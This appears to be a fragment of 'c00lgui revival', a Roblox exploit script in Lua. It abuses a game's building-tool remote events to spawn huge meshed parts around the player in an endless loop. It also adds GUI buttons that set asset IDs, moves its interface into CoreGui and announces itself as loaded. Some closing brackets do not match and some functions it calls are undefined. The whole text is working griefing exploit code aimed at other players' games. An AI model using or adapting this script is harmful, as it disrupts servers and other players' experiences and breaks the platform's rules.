function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end

function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}

_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
hrpcf = player.Character.HumanoidRootPart.CFrame
while wait(0.5) do
x = hrpcf.x
z = hrpcf.z
randint = math.random(-600,600)
randint2 = math.random(-600,600)
xloc = randint + x
zloc = randint2 + z
cf = player.Character.HumanoidRootPart.CFrame.y + 400
spawn(function()
CreatePart(CFrame.new(math.floor(xloc),
math.random(cf,cf+400), math.floor(zloc)))
for i,v in game.Workspace:GetDescendants() do
if v.Name == "Part" and v.Parent == workspace and
v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
SetName(v,"b_1337")
SetAnchor(false,v)
AddMesh(v)
Resize(v, Vector3.new(100,100,100),v.CFrame)
MeshResize(v,Vector3.new(20,20,20))
SetMesh(v,"430278839")
SetTexture(v, "430278815")
SetCollision(v,false)
else
end
end
end)
end
end)
end
coroutine.wrap(VTUOG_fake_script)()
local function MDDNVMA_fake_script() -- button_58.LocalScript
local script = Instance.new('LocalScript', button_58)

local button = script.Parent

button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text =
"15475953475"
end)
end
coroutine.wrap(MDDNVMA_fake_script)()
local function XFYH_fake_script() -- button_59.LocalScript
local script = Instance.new('LocalScript', button_59)

local button = script.Parent

button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text =
"3342499434"
end)
end
coroutine.wrap(XFYH_fake_script)()
local function CDBIWK_fake_script() -- button_60.LocalScript
local script = Instance.new('LocalScript', button_60)

local button = script.Parent

button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text =
"358313209"
end)
end
coroutine.wrap(CDBIWK_fake_script)()
local function JFZIKQ_fake_script() -- button_61.LocalScript
local script = Instance.new('LocalScript', button_61)

local button = script.Parent

button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text =
"16432013221"
end)
end
coroutine.wrap(JFZIKQ_fake_script)()
local function FBHUDW_fake_script() -- button_62.LocalScript
local script = Instance.new('LocalScript', button_62)

local button = script.Parent

button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text =
"13283475854"
end)
end
coroutine.wrap(FBHUDW_fake_script)()
local function ELDZR_fake_script() -- button_63.LocalScript
local script = Instance.new('LocalScript', button_63)

local button = script.Parent

button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text =
"16673285043"
end)
end
coroutine.wrap(ELDZR_fake_script)()

if game.PlaceId == "192800" then


CoolGui.Parent = game.CoreGui
end

game:GetService("StarterGui"):SetCore("SendNotification",{
Title = "c00lgui", -- Required
Text = "c00lgui revival has loaded.", -- Required
})

You might also like